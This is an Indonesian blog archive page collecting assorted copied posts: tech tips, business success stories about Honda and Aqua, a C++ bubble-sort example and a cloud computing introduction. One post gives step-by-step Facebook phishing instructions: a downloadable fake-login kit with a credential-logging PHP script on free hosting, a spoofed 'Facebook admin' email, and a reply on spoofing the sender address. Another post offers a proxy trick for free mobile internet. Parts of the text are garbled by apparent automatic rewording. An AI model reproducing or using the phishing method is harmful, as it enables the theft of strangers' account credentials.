[Fs4] Fillestar4

4 out of 5 dentists recommend this WordPress.com site

Month: September, 2011

Cara mengetahui yang pasang link di log kita

Bagi sobat yang suka bertukar link , tentu ingin tahu atau ngecheck siapa-siapa saja yang telah memasang link blog kita, untuk itu kali ini saya akan share tentang Cara Mengetahui Yang Pasang Link Blog Kita , ada cara simple yang bisa dilakukan diantaranya :

Login ke Google atau Klik disini
Ketik keyword yang akan dicari dalam kotak pencarian google , misalnya blog ini : link:http://kurt-fillestar4.blogspot.com
Setelah itu klik tombol “ Search atau Telusuri “
Sekarang lihat disitu akan ditampilkan siapa2 saja yang telah memasang link blog kita, silahkan klik salah satu saja untuk meyakinkan kita.
Oh ya Ganti tulisan berwarna biru dengan link sobat
Selesai.. gitu aja deh

sumber

Cara Mengetahui Nomor Pribadi (Private Number)

Pernah gak ditelpon sama nomor yang ga diketahui alias private number? Pasti kesel kan?! Banyak orang yang sering dikerjain sama private number ini. Nih, ane mw bagi2 tips sama agan2 cara mengetahui nomor pribadi (privat number).

CARA PERTAMA (untuk pengguna hp NOKIA)
Ketikkan kode *#30# dan tekan OK, maka di layar akan muncul tulisan “nomer penelpon ditampilkan” atau biasanya tergantung dari tipe hp masing-masing. Untuk kode ini sayangnya tidak didukung oleh operator di Indonesia, jadi ini hanya sebagai bahan pengetahuan saja. Kapan ya di Indonesia operatornya bisa?

CARA KEDUA
Mendivert semua panggilan tidak dikenal. Pada setiap hp ada fasilitas divert/ pengalihan ini, nah pada malam hari jika memaksa tetap mengaktifkan hp dan biasanya ada orang iseng gunakan fasilitas divert ini, caranya alihkan semua panggilan tidak dikenal (yang tidak tercantum di phonebook) ke kotak mailbox, jadi setiap panggilan masuk yang nomernya hidden bakalan masuk ke mailbox dan nanti kita akan mendapatkan sms bahwa pemanggil dengan nomer 08xxxxxxxx telah menghubungi agan. Lihat record dari nomer tersebut sapa saja yang menelpon. Khusus untuk XL, Indosat dan telkomsel biasanya bisa.

CARA KETIGA
Disaat agan tahu ada orang iseng dengan menelpon berulang – ulang menggunakan private number, sebaiknya setelah panggilan ketiga kalinya, matikan hp agan sampai beberapa waktu, tujuannya agar penelpon kena pulsa. Maksudnya supaya dia masuk ke kotak mailbox juga, nah seperti cara kedua, maka saat kita menghidupkan hp kita nomer penelpon akan diberikan oleh operator kita. Misalnya jika kita menggunakan XL, maka smsnya akan datang dari 818 dengan isi ” anda telah dihubungi oleh 081xxxxxxx pada 23:15 dst…” ane rasa ini adalah cara paling ampuh secara tradisional yang bisa diterapkan di Indonesia.

CARA KEEMPAT
Saat agan tahu ada penelpon iseng dengan menggunakan private number, maka gunakan hp anda untuk menelpon, nah maka saat dia mencoba menelpon anda di tempat si penelpon iseng tersebut akan masuk ke mailbox karena nada sibuk. Untuk mengetahui nomernya si penelpon biasanya agan mendapatkan sms seperti yang ane jelaskan di cara ketiga di atas.

CARA KELIMA
Reject telpon agan dengan menekan tombol bergambar telpon warna merah (tombol off) dan biarkan si penelpon masuk ke mailbox. Sayangnya cara ini tidak selalu bisa, karena dianggap kita sengaja menolak setelah mengetaui penelponnya, tapi untuk malam hari kebanyakan cara ini akan menggiring penelpon ke kotak mailbox kita, sehingga sekali lagi kita akan mendapat sms seperti sebelumnya. Untuk pembuktian semua cara ini, coba lakukan sendiri terlebih dahulu untuk meyakinkan agan. Jadi agan bisa memilih cara mana yang efektif.

Semoga bermanfaat ..

http://hujan-info.blogspot.com/2011/07/cara-mengetahui-nomor-pribadi-private.html

Cara Mengetes Kekuatan Password

bila bermain internet pasti agan suka login kesuatu tempat yang menggunakan password. password adalah hal yang terpenting dan rahasia,cukup hanya anda yang tahu. password yang aman yang penuh dengan kombinasi hurup dan angka tapi mudah di ingat oleh penggunanya. ini ada sedikit tips untuk mengguji tinggkat pengamanan password anda.

Caranya klik link ini gan di browser http://google.com/accounts/ratepassword?passd=passwordku

Nb: ganti “passwordku” dengan password kamu. penilaian 1-4 bila nilai passwordmu menunjukan di angka 1 berarti password agan belom aman.

selamat mencoba gan

Cara Membuat File Prov di Hp s40

File.prov adalah sejenis file konfigurasi operator untuk setting internet/gprs di ponsel seperti yang dikirimkan oleh provider kartu GSM.

Cara Penggunaan File.prov
Seperti file konfigurasi dari provider, file.prov ini berfungsi sebagai titik akses. Perbedaannya dengan file konfigurasi dari provider adalah file.prov ini menggunakan APN, Proxy, dan Port khusus sehingga bisa digunakan untuk internetan gratis. File.prov ini direkomendasikan khusus untuk HP tipe s40 saja, karena HP tipe ini tidak bisa mengubah APN, Proxy, dan Port secara manual seperti HP Symbian dan Sony.

Dimana Kita Bisa Membuat File.prov?
Kita bisa membuat file.prov sendiri dengan APN, proxy, dan port trik internet gratis dengan menggunakan tool yang ada di situs http://myprov.co.cc. Di sana kita bisa membuat file.prov sendiri lalu mendownloadnya. Setelah mendownloadnya kita tidak bisa langsung menggunakannya secara langsung, karena file.prove hanya bisa dibaca oleh bluetooth atau infrared. Jadi saat kita mendownload file.prov ke HP atau PC file itu berekstensi *.prov, tapi setelah kita mengirimkannya ke HP s40 file itu akan diterima sebagai file konfigurasi. Jadi, kesimpulannya adalah kalau kita ingin menggunakan file.prov itu, kita harus mendownloadnya dari PC atau HP lain lalu mengirimkannya ke HP kita agar diterima sebagai file konfigurasi.

Sudah mengerti file.prov?
Dan ini dia cara detail memasang file.prov,langsung aja ikutin langkah-langkahnya:

Download file.prov dari PC ataupun dari HP lain.
Kirimkan file.prov ke HP Nokia s40 yang ingin dipasangi trik melalui Bluetooth atau Infrared.
Kalau file.prov diterima sebagai settingan konfigurasi, simpan file konfigurasi itu.
Masuk ke Menu » Pengaturan » Konfigurasi » Pengaturan Konfigurasi Default » Pilih Konfigurasi Tadi.
Terus masih pada Pengaturan Konfigurasi pilih Jalur Akses Pilihan » Pilih Jalur Akses dari file.prove
Periksa kembali dan pastikan pada Pengaturan Konfigurasi Default dan Jalur Akses Pilihan yang dipilih adalah jalur akses dari file.prov tadi.

Kalau semua sudah dilakukan seperti langkah-langkah di atas, maka trik internet gratis sudah bisa dites.

==================================================================================
Caranya adalah:
1_Buka situs http://myprov.co.cc/
2_Pilih yang “ACCESS”
3_Ganti Parameter :
Configuration Name:
Access Point (Apn):
Proxy Address:
Port:
Misalnya saja kita mau bikin file prov untuk 3gprs dengan proxy(ip): 195.189.142.132 port:80
Maka yang perlu dirubah adalah:

Configuration Name: TRI 132 (bebas)
Access Point (Apn): 3gprs
Proxy Address: 195.189.142.132
Port: 80
Kalo sudah, klik “Generate”

4_Dah selesai, muncul link downloadnya tinggal di download.

5_Downloadnya pake hape lain/lewat PC, selanjutnya tinggal di kirim ke HApe Nokiem Javanya melalui Blutut atau Inframerah. Tinggal di Instal, jadikan sebagai konfigurasi akses internetnya.

Kisah Sukses: Honda, The Power of Dream

Everything start from a dream. Kalimat itu ada benarnya. Banyak kisah sukses yang berawal dari bermimpi. Tidak terkecuali Soichiro Honda, sang Raja Jalanan. Sebelumnya, saya tekankan mimpi yang dimaksud di sini bukan wangsit atau wahyu, tapi tentang impian atau wish. Mari kita amati, seberapa hebat kekuatan mimpi dalam menciptakan kisah sukses.

Adalah Soichiro Honda, lahir di desa Komyo, Shizuoka, Jepang pada 17 November 1906 dari pasangan Gihei Honda, seorang tukang besi, dan istrinya Mika. Soichiro Honda lahir sebagai anak sulung dari sembilan saudara. Tinggal di keluarga sederhana yang tidak memiliki kisah sukses, bertempat tinggal di daerah terpencil yang minim sarana dan obat-obatan membuat kehidupannya tidak mudah. Tapi ia memiliki mimpi yang sangat tinggi.

Sejak kecil, Soichiro Honda telah menunjukkan kecintaannya pada mesin dan otomotif. Sebelum masuk sekolah, Honda kecil telah membantu ayahnya mereparasi alat-alat pertanian di bengkel ayahnya. Ia juga bisa berdiri berjam-jam hanya untuk mengamati cara kerja mesin penggiling padi.

Di masa sekolahnya, Honda tidak memiliki kisah sukses dalam bidang akademik. Nilai-nilai ulangannya jelek. Ia juga sering membolos. Namun sebenarnya ia memiliki bakat di kelas sains yang mempelajari tentang mesin. Dengan mudah, ia dapat menangkap penjelasan gurunya.

Keika berusia 8 tahun, Honda nekat bersepeda sejauh 10 mil hanya untuk melihat pesawat terbang. Dan ia begitu senang ketika melihat ada mobil yang melintas di desanya. Pada usia 12 tahun, Honda berhasil menciptakan sebuah sepeda dengan model rem kaki.

Di usia 15 tahun, Honda hijrah ke Tokyo untuk mencari kerja. Ia diterima di Hart Sokay Company, pada awalnya hanya bekerja sebagai cleaning service merangkap pengasuh bayi bos nya. Hingga akhirnya sang pemilik menemukan bakat Honda dalam bidang mesin.

Ia sungguh cekatan dan jenius dalam masalah mesin sehingga bosnya senang dengan nya. 6 tahun ia bekerja di perusahaan itu. Pada umur 21 tahun, bosnya berkeinginan membuka cabang di Hamamatsu, dan Honda pun dipilih untuk memimpin kantor cabang itu.

Di kantor cabang ini prestasinya membaik. Ia selalu menerima reparasi yang ditolak bengkel-bengkel lain. Hasil kerjanya pun cepat dan tepat. Honda tidak segan-segan bekerja sampai larut malam, tanpa mengurangi kreativitasnya.

Salah satu buah kreativitasnya adalah penemuan velg dengan jari-jari logam ketika ia berusia 30 tahun. Pada zaman itu, mobil-mobil masih menggunakan velg dengan jari-jari kayu. Jari-jari kayu ini, selain tidak bagus dalam meredam getaran, juga mudah terbakar. Penemuan Honda ini menjadi hak patennya yang pertama sekaligus kisah sukses nya yang pertama.

Penemuan ini membuat Honda ingin membangun usaha sendiri. Ia keluar dari perusahaan tempatnya bekerja pada tahun 1938 dan memutuskan membangun usaha pembuatan ring piston. Sayang ring piston buatannya ditolak Toyota karena kualitasnya dianggap tidak memenuhi syarat.

Kisah sukses Honda pun berganti dengan kegagalan. Kegagalan ini membuat ia jatuh sakit. Teman-temannya menyesalkan pengunduran dirinya dari perusahaan tempatnya bekerja dulu. Namun bukan Honda namanya kalau tenggelam dalam kegagalan. 2 bulan kemudian, ia bangkit kembali dengan bermodalkan mimpinya.

Untuk menemukan solusi dari ring piston, Honda kuliah lagi. Tiap pulang kuliah, Honda segera ke bengkelnya untuk mempraktekan pengetahuan yang baru diperoleh. Tidak jarang Honda mengkritik rektornya karena dianggap terlalu bertele-tele, menitik beratkan teori daripada praktek. Setelah dua tahun menjadi mahasiswa, ia akhirnya dikeluarkan karena jarang mengikuti kuliah.

Akhirnya kerja kerasnya mulai menorehkan kisah sukses. Ring Piston ciptaannya diterima Toyota, yang langsung memberikan kontrak. Ketika mimpinya hampir menjadi kenyataan, niatnya membangun pabrik terpaksa diurungkan. Pemerintah Jepang yang siap perang, tidak memberikan dana kepada industri-industri. Ia pun tidak kehabisan akal mengumpulkan modal dari sekelompok orang untuk mendirikan pabrik. Lagi-lagi musibah datang. Setelah perang dunia II meletus, pabriknya sempat terbakar dua kali.

Namun, Honda tidak patah semangat. Ia bergegas mengumpulkan karyawannya. Mereka diperintahkan mengambil sisa kaleng bensol yang dibuang oleh kapal Amerika Serikat, digunakan sebagai bahan mendirikan pabrik. Sekali lagi pabriknya hancur oleh gempa bumi. Akhirnya Honda menjual pabrik ring pistonnya ke Toyota. Setelah itu, Honda mencoba beberapa usaha lain. Sayang semuanya gagal.

Pada tahun 1947,seusai perang dunia II, Jepang mengalami kondisi ekonomi yang sangat memprihatinkan. Sampai-sampai Honda tidak dapat menjual mobilnya untuk membeli makanan bagi keluarganya.

Dalam keadaan terdesak, Honda tidak kehabisan ide cemerlang. Idenya memasang mesin pada sepeda dengan memanfaatkan mesin-mesin bekas perang, yang menjadi cikal bakal sepeda motor zaman sekarang. Ciptaanya ini mendapatkan respon yang baik dari masyarakat sekitar. 24 September 1948, berdirilah Honda Motor Company dengan produk pertamanya yang dinamakan “Dream” dengan slogan perusahaan Honda yaitu “The Power Of Dream” . Awal dari kisah sukses nya.

Meski sepeda motornya sukses, Honda ternyata terbentur masalah finansial bahkan terancam bangkrut. Ia memang seorang penemu dan mekanik yang hebat namun tidak pandai mengelola keuangan. Inilah yang kemudian mempertemukan dirinya dengan Takeo Fujisawa orang yang sangat berpengaruh pada kelangsungan bisnis Honda selanjutnya. Saat itu Honda berusia 42 Tahun dan Fujisawa berusia 38 tahun.

Duet kedua orang ini berhasil membuat Honda mewujudkan mimpi dan keinginannya untuk menjangkau dunia. Akhirnya, seperti yang kita ketahui, produk-produk Honda tak hanya menjadi nomor 1 di Jepang tetapi juga di berbagai belahan dunia.

Soichiro Honda, oleh karyawannya dikenal sebagai pemimpin yang keras. Namun sikapnya menjadi lembut ketika acara minum sake bersama. Satu hal lagi yang patut dipuji dari Honda adalah sikap nya yang anti-nepotisme dalam menentukan jabatan di perusahaannya.

Sepanjang hidupnya, Soichiro Honda dikenal sebagai orang yang selalu berjiwa muda. Walaupun usianya semakin bertambah tua tapi semangatnya tidak pernah berkurang. Pada 5 Agustus 1991, Honda meninggal di usia 84 tahun akibat penyakit lever.

Honda berkata “Orang melihat kesuksesan saya hanya satu persen. Tapi, mereka tidak melihat 99% kegagalan saya” . Pesan Honda : “ Ketika Anda mengalami kegagalan, mulailah bermimpi, mimpikanlah mimpi baru dan berusahalah untuk merubah mimpi itu menjadi kenyataan.”

Soichiro Honda membuktikan pada kita bahwa orang yang asalnya miskin, ndeso, minim pendidikan dan modal kecil juga bisa sukses, bahkan merajai dunia. Ketika gagal – ia bangkit, ketika menemui kesulitan dalam temuannya – ia belajar. Yang bisa kita pelajari dari kisah sukses Honda adalah berani bermimpi , mau belajar, bekerja giat, dan semangat pantang menyerah. Mari belajar dari solusi sukses Honda.

Setiap kali merasa gagal dan putus asa, ingatlah filosofi Honda: “The Power of Dream” . Mimpi dapat menjadi bahan bakar yang mendorong kita untuk mencapai sukses. Beranilah untuk bermimpi, lakukan sesuatu untuk mewujudkan mimpi anda, dan jangan pernah menyerah. Never Give Up! 🙂

Kisah Sukses: Aqua, Rajanya Air Minum Dalam Kemasan

Berbicara tentang air minum dalam kemasan, yang pertama muncul dalam benak kita pastilah Aqua. Memang merk yang satu ini telah menjadi top brand di Indonesia. Hampir setiap orang di Indonesia pasti tahu atau minimal pernah mendengar nama Aqua. Bagaimana kisah sukses Aqua sampai bisa seperti sekarang?

Kisah sukses ini berawal dari sosok Tirto Utomo(alm.) yang menggagas berdirinya Aqua. Pria kelahiran Wonosobo, 9 Maret 1930 ini menggagas lahirnya industri air minum dalam kemasan (AMDK) di Indonesia melalui PT Golden Mississippi pada tanggal 23 Pebruari 1973. Produk pertamanya saat itu adalah Aqua botol kaca 950 ml yang kemudian disusul kemasan AQUA 5 galon, pada waktu itu juga masih terbuat dari kaca.

Pada awal kemunculannya, Aqua tidak langsung menuai kisah sukses nya seperti sekarang ini. Bahkan tahun 1974 sampai 1978 adalah masa-masa sulit bagi perusahaan ini. Saat itu permintaan konsumen masih sangat rendah. Masyarakat kala itu masih “asing” dengan air minum dalam kemasan. Apalagi harga 1 liter Aqua lebih mahal daripada harga 1 liter minyak tanah.

Aqua tidak akan menuai kisah sukses bila langsung menyerah saat itu. Dengan berbagai upaya dan kerja keras, akhirnya Aqua mulai diterima masyarakat luas. Perlahan tapi pasti, merk ini semakin menorehkan kisah sukses nya. Bahkan tahun 1978, Aqua telah mencapai titik BEP. Dan saat itu menjadi batu loncatan kisah sukses Aqua yang terus berkembang pesat.

Pada saat itu, produk Aqua ditujukan untuk market kelas menengah ke atas, baik dalam rumah tangga, kantor-kantor dan restoran. Namun sejak tahun 1981, Aqua telah berganti kemasan dari semula kaca menjadi plastik sehingga melahirkan berbagai varian kemasan. Hal ini menyebabkan distribusi yang lebih mudah dan harga yang lebih terjangkau sehingga produk Aqua dapat dijangkau masyarakat dari berbagai kalangan. Di tahun 1981 ini juga, Aqua mengganti sumber airnya dari air sumur bor ke air dari mata air pegunungan.

Bahkan dalam segi kemasan pun, Aqua telah menjadi pelopor. Botol plastiknya yang semula berbahan PVC yang tidak ramah lingkungan, sejak 1988 telah diganti menjadi bahan PET. Padahal saat itu di Eropa masih menggunakan bahan PVC. Selain itu desain botol Aqua berbentuk persegi bergaris yang mudah dipegang telah menggantikan desain botol bulat Eropa. Bahkan botol PET ciptaan Aqua ini telah dijadikan standar dunia.

Kisah sukses Aqua tidak hanya sebatas di dalam negeri, tapi juga mancanegara. Sejak 1987, produk Aqua telah diekspor ke berbagai negara seperti Singapura, Malaysia, Fillipina, Australia, Maldives, Fuji, Timur Tengah dan Afrika. Berbagai prestasi dan penghargaan pun didapatkan baik dari dalam negeri maupun luar negeri.

Bahkan almarhum Tirto Utomo pun dinobatkan sebagai pencetus air minum dalam kemasan dan masuk dalam “Hall of Fame” . Dan berdasarkan survey Zenith International, sebuah badan survey Inggris, Aqua dinobatkan sebagai merk air minum dalam kemasan terbesar di Asia Pasifik, dan air minum dalam kemasan nomor dua terbesar di dunia. Sebuah prestasi yang membanggakan untuk produk dalam negeri.

Dari kisah sukses Aqua, kita dapat belajar bahwa inovasi itu sangat penting. Sebuah ide yang tampaknya nyeleneh atau tidak lazim, seringkali malah membawa kisah sukses yang besar. Jadi, jangan takut untuk berinovasi. Berinovasi atau bisnis anda mati 🙂

CARA JEBOL AKUN FACEBOOK PALING AMPUH?

Question by Texas Holdem poker: CARA JEBOL AKUN FACEBOOK PALING AMPUH?
Malam ini TEXAS akan mengajak facebook’er untuk belajar hacking facebook. Namun tidak menggunakan application facebook freezer melainkan meng-hack facebook dengan fake login atau halaman login palsu untuk mendapatkan username dan password facebook si korban. Cara hack meng-hack ini sebenarnya merupakan cara jadul yang dilakukan para hacker. Tapi ampuh lho ! Penasaran ? Mau ?
Hacking facebook dengan fake login :
1. Buatlah akun dengan mendaftar di webhosting gratisan yang mendukung/assistance PHP. Seperti :
one. http://byethost.com/index.php/free of charge-hosting
2. http://www.ripway.com/
three. http://www.fileave.com/
Download SCRIPNYA DISINI http://www.ziddu.com/download/11538413/FakeLogin.rar.html
three. Extrak file tersebut dan simpan/upload di satu direktori di webhosting yang telah anda daftar, contoh http://NamaAnda.fileave.com/facebook/.
three file tersebut yaitu :
– Index.html
– logs.php
– logs.txt
four. Buatlah email palsu dengan memberikan embel-embel admin facebook tujuannya agar si korban percaya. contoh :
admin_facebook@yahoo.com / admin.facebook.gmail.com / admin.fb@plasa.com
5. Terus obtain isi pesan untuk electronic mail palsu DISINI http://www.ziddu.com/obtain/11538448/ScriptIsiEmailPalsu.doc.html
6. Buka isi file tersebut. Lalu ganti TULISAN yang berwarna merah dengan nama anda dan ganti alamat_e-mail_anda@gmail.com yang berwarna merah dengan alamat e-mail palsu anda. Terus pada URL :
http://www.facebook.com/n/?reqs.php&mid=883451G4a3b0e7eG88f1e5G2
Yang berwarna biru ganti dengan URL halaman fake login yang telah anda buat. contoh :
http://iamkrisna.fileave.com/index.html
7. Setelah semuanya anda edit, segera kirim isi pesan tersebut ke alamat email si korban .. Alamat email + password si korban akan datang sendirinya ke electronic mail palsu anda kalau si korban ketipu … hehehe
Greatest solution:
Solution by Crashblack
masih kurang ampuh gan….
klo cuma ngirim email aja pake email facebook mah bisa…
pake mailer aja…
dari e-mail admin@facebook.com langsung.. :D
itu fake login skrng sudah ketahuan..
jd skrng udah rumit.. :D

Sampaikan Sesuatu yang Manis Melalui Telinga Kiri!

VisionNet – Jika Anda ingin mengungkapkan bahwa Anda mencintai seseorang, Anda sebaiknya menyampaikannya melalui telinga mereka sebelah kiri, ungkap sebuah penelitian baru.

Seseorang akan nampak lebih mengingat kata-kata emosional seperti “cinta”, jika mereka mendengarnya melalui telinga kiri, suatu penelitian oleh para ahli ilmu jiwa di Sam Houston State University, Texas.

Hal ini berarti bahwa jika sesuatu yang baik didengar melalui telinga kanan, mereka cenderung lebih mudah melupakan.

Para peneliti mengatakan bahwa penemuannya dapat dijelaskan oleh fakta bahwa telinga kiri dikontrol oleh otak sebelah kanan, yang bertangung jawab untuk proses hal-hal emosional.

“Penemuan ini konsisten dengan peranan otak sebelah kanan dalam memproses rangsangan emosional,” ungkap Dr. Teow-Chong dalam pernyataannya di Kongres Psikologi Eropa, yang digelar minggu ini.

Penelitian Sim melibatkan 26 orang yang mendengarkan kata-kata berbeda melalui ke dua telinga dalam waktu yang sama. Kata-kata disusun dari kata-kata emosional seperti “depresi” sampai kata-kata non emosional seperti “menggabung”.

Setelah latihan, para partisipan ditanya sejumlah kata-kata yang mereka telah dengar.

Para peneliti menemukan bahwa partisipan memiliki ingatan yang lebih kuat terhadap kata-kata emosional yang mereka telah dengar melalui telinga sebelah kiri. Pengulangan yang sama melalui telinga sebelah kanan tidak sekuat yang disampaikan melalui telinga sebelah kanan.

(thriveonline/ys)

Contoh Sorting Dengan Menggunakan Bubble Sort + Struct

Sebelumnya kita telah membahas secara sederhana penggunakan metode sorting ‘Bubble Sort’. Nah sekarang saya akan memberikan contoh yang lebih kompleks lagi, yaitu mengkombinasikan ‘Bubble Sort’ dengan ‘Struct’.
Seperti apa contoh programnya?
ni saya berikan contoh program yang menggunakan kombinasi ‘Bubble Sort’ dan ‘Struct’
//Sorting Dengan Metode Bubble Sort
#include
#include
#include
#include
main()
{
    struct mhs {
        int nrp;
        char nama[30];
        int uts, uas, praktek, na;
    };
    struct mhs data_mhs[5];
    struct mhs temp;
    int a, b, c, d, x, y;
    char lihat, e;
    cout << "Data Nilai Mahasiswa Matakuliah AP2"<<endl;
    cout << "==================================="<<endl;
    cout << "Masukkan Jumlah Data Mahasiswa yang Akan di Input: ";
    cin >> c;
    clrscr();
    cout << "Inputkan Data Mahasiswa!\n"<<endl;
    for (a=0;a<c;a++)
    {
        cout << "No ["<<a+1<<"]"<<endl;
        cout << "NRP\t\t: ";
        cin >> data_mhs[a].nrp;
        cout << "Nama\t\t: ";
        gets (data_mhs[a].nama);
        cout << "Nilai UTS\t: ";
        cin >> data_mhs[a].uts;
        cout << "Nilai UAS\t: ";
        cin >> data_mhs[a].uas;
        cout << "Nilai Praktek\t: ";
        cin >> data_mhs[a].praktek;
        data_mhs[a].na=((25*data_mhs[a].uts)+(50*data_mhs[a].uas)+(25*data_mhs[a].praktek))/100;
        cout << "Nilai Akhir\t: "<<data_mhs[a].na;
        cout << "\n\n";
    }
    clrscr();
    lihat:
    cout << "Lihat Data:\n";
    cout << "[1] Belum Terurut\n";
    cout << "[2] Berdasarkan Urutan NRP\n";
    cout << "[3] Berdasarkan Urutan Nilai Akhir\n";
    cout << "Masukan Pilihan: ";
    cin >> lihat;
    if (lihat==’1′)
    {
        clrscr();
        for (a=0;a<c;a++)
        {
            cout << "NRP\t\t: "<<data_mhs[a].nrp<<endl;
            cout << "Nama\t\t: "<<data_mhs[a].nama<<endl;
            cout << "Nilai UTS\t: "<<data_mhs[a].uts<<endl;
            cout << "Nilai UAS\t: "<<data_mhs[a].uas<<endl;
            cout << "Nilai Praktek\t: "<<data_mhs[a].praktek<<endl;
            cout << "Nilai Akhir\t: "<<data_mhs[a].na;
            cout << "\n\n";
        }
        lagi:
        cout << "Lihat Lagi [Y/N]: ";
        cin >> e;
        if (e==’Y’||e==’y’)
        {
            clrscr();
            goto lihat;
        }else if (e==’N’||e==’n’)
        {
            clrscr();
            cout << "SELESAI";
        }else{
            clrscr();
            cout << "Kode Salah!!!";
            goto lagi;
        }
    }else if (lihat==’2′)
    {
        clrscr();
        for (a=1;a<c;a++)
        {
            for (b=0; b<c-a; b++)
            if (data_mhs[b].nrp>data_mhs[b+1].nrp)
            {
                temp.nrp=data_mhs[b].nrp;
                data_mhs[b].nrp=data_mhs[b+1].nrp;
                data_mhs[b+1].nrp=temp.nrp;
                strcpy(temp.nama, data_mhs[b].nama);
                strcpy(data_mhs[b].nama, data_mhs[b+1].nama);
                strcpy(data_mhs[b+1].nama, temp.nama);
                temp.uts=data_mhs[b].uts;
                data_mhs[b].uts=data_mhs[b+1].uts;
                data_mhs[b+1].uts=temp.uts;
                temp.uas=data_mhs[b].uas;
                data_mhs[b].uas=data_mhs[b+1].uas;
                data_mhs[b+1].uas=temp.uas;
                temp.praktek=data_mhs[b].praktek;
                data_mhs[b].praktek=data_mhs[b+1].praktek;
                data_mhs[b+1].praktek=temp.praktek;
                temp.na=data_mhs[b].na;
                data_mhs[b].na=data_mhs[b+1].na;
                data_mhs[b+1].na=temp.na;
            }
            for (a=0;a<c;a++)
            {
                cout << "NRP\t\t: "<<data_mhs[a].nrp<<endl;
                cout << "Nama\t\t: "<<data_mhs[a].nama<<endl;
                cout << "Nilai UTS\t: "<<data_mhs[a].uts<<endl;
                cout << "Nilai UAS\t: "<<data_mhs[a].uas<<endl;
                cout << "Nilai Praktek\t: "<<data_mhs[a].praktek<<endl;
                cout << "Nilai Akhir\t: "<<data_mhs[a].na;
                cout << "\n\n";
            }
        }
        goto lagi;
    }else if (lihat==’3′)
    {
        clrscr();
        for (a=1;a<c;a++)
        {
            for (b=0; b<c-a; b++)
            if (data_mhs[b].na<data_mhs[b+1].na)
            {
                temp.nrp=data_mhs[b].nrp;
                data_mhs[b].nrp=data_mhs[b+1].nrp;
                data_mhs[b+1].nrp=temp.nrp;
                strcpy(temp.nama, data_mhs[b].nama);
                strcpy(data_mhs[b].nama, data_mhs[b+1].nama);
                strcpy(data_mhs[b+1].nama, temp.nama);
                temp.uts=data_mhs[b].uts;
                data_mhs[b].uts=data_mhs[b+1].uts;
                data_mhs[b+1].uts=temp.uts;
                temp.uas=data_mhs[b].uas;
                data_mhs[b].uas=data_mhs[b+1].uas;
                data_mhs[b+1].uas=temp.uas;
                temp.praktek=data_mhs[b].praktek;
                data_mhs[b].praktek=data_mhs[b+1].praktek;
                data_mhs[b+1].praktek=temp.praktek;
                temp.na=data_mhs[b].na;
                data_mhs[b].na=data_mhs[b+1].na;
                data_mhs[b+1].na=temp.na;
            }
            for (a=0;a<c;a++)
            {
                cout << "Nilai Akhir\t: "<<data_mhs[a].na<<endl;
                cout << "NRP\t\t: "<<data_mhs[a].nrp<<endl;
                cout << "Nama\t\t: "<<data_mhs[a].nama<<endl;
                cout << "Nilai UTS\t: "<<data_mhs[a].uts<<endl;
                cout << "Nilai UAS\t: "<<data_mhs[a].uas<<endl;
                cout << "Nilai Praktek\t: "<<data_mhs[a].praktek<<endl;
                cout << "\n\n";
            }
        }
        goto lagi;
    }else{
        clrscr();
        cout << "Kode Salah!!!"<<endl;
        goto lihat;
    }
}

Dan hasil outputnya akan seperti ini ;
bs_2a

Di sini saya mengambil contoh jumlah data mahasiswa yang akan diinputkan adalah sebanyak 2 buah.
Maka tampilan berikutnya adalah seperti ini :

bs_2b

Di sini saya menginputkan data mahasiswa pertama dengan,
NRP : 123
Nama : Mr. Xyz
dan nilai UTS, UAS dan Praktek : 90;
untuk Nilai akhir, akan secara otomatis muncul, sehingga kita tidak perlu menginputkannya, karena di dalam syntaxnya sendiri sudah ada rumus perhitungannya,
Sementara itu untuk data mahasiswa kedua anda bisa lihat sendiri bagaimana perbedaannya.
Dan hasil output berikutnya akan seperti ini :

bs_2c

Nah kita bisa lihat digambar, ada tiga pilihan menu, jika kita memilih menu [1], maka program akan mengoutputkan data-data mahasiswa yang belum terurut. Dan jika anda memilih menu [2], program akan menampilkan data-data mahasiswa yang sudah terurut berdasarkan NRP (dari angka terkecil ke yang terbesar), dan menu [3] program akan menampilkan data-data mahasiswa berdasarkan Nilai Akhir (dari yang terbesar ke yang terkecil)
Berikut ini adalah contoh gambarnya :

;
bs_2d  

bs_2e

bs_2f

SELAMAT MENCOBA !!!

Cloud Computing (Part 1)

image
Akhir-akhir ini, cloud computing adalah topik yang selalu menjadi bahan pembicaraan di dunia Teknologi Informasi (TI).
Hampir setiap hari selalu ada berita seputar cloud computing, baik secara teknologi maupun dari aspek bisnis.
Apa sebenarnya Cloud Computing itu? Apakah hanya sekadar “hype”, atau memang sesuatu yang nyata? Dan apa dampaknya bagi kita semua?
Definisi Cloud Computing
Ketika kita membicarakan Cloud Computing, sebenarnya apakah kita membicarakan hal yang sama?
Banyak pihak memberikan definisi cloud computing dengan perbedaan di sana-sini.
Wikipedia mendefinisikan cloud computing sebagai “komputasi berbasis Internet, ketika banyak server digunakan bersama untuk menyediakan sumber daya, perangkat lunak dan data pada komputer atau perangkat lain pada saat dibutuhkan, sama seperti jaringan listrik”.
Gartner mendefinisikannya sebagai “sebuah cara komputasi ketika layanan berbasis TI yang mudah dikembangkan dan lentur disediakan sebagai sebuah layanan untuk pelanggan menggunakan teknologi Internet.”
Forester mendefinisikannya sebagai “standar kemampuan TI, seperti perangkat lunak, platform aplikasi, atau infrastruktur, yang disediakan menggunakan teknologi Internet dengan cara swalayan dan bayar-per-pemakaian.”
Secara sederhana, Cloud Computing dapat kita bayangkan seperti sebuah jaringan listrik. Apabila kita membutuhkan listrik, apakah kita harus punya pembangkit listrik sendiri? Tentu tidak. Kita tinggal menghubungi penyedia layanan (dalam hal ini, PLN), menyambungkan rumah kita dengan jaringan listrik, dan kita tinggal menikmati layanan tersebut. Pembayaran kita lakukan bulanan sesuai pemakaian.
Kalau listrik bisa seperti itu, mengapa layanan komputasi tidak bisa? Misalnya, apabila sebuah perusahaan membutuhkan aplikasi CRM (Customer Relationship Management). Kenapa perusahaan tersebut harus membeli aplikasi CRM, membeli hardware server, dan kemudian harus memiliki tim TI khusus untuk menjaga server dan aplikasi tersebut?
Di sinilah cloud computing berperan. Penyedia jasa cloud computing seperti Microsoft, telah menyediakan aplikasi CRM yang dapat digunakan langsung oleh perusahaan tadi. Mereka tinggal menghubungi penyedia layanan (dalam hal ini, Microsoft), “menyambungkan” perusahaannya dengan layanan tersebut (dalam hal ini, melalui Internet), dan tinggal menggunakannya. Pembayaran? Cukup dibayar per bulan (atau per tahun, tergantung kontrak) sesuai pemakaian. Tidak ada lagi investasi di awal yang harus dilakukan.
Agar lebih mudah membayangkannya, silahkan lihat ilustrasi pada Gambar 1.
Karakteristik Cloud Computing
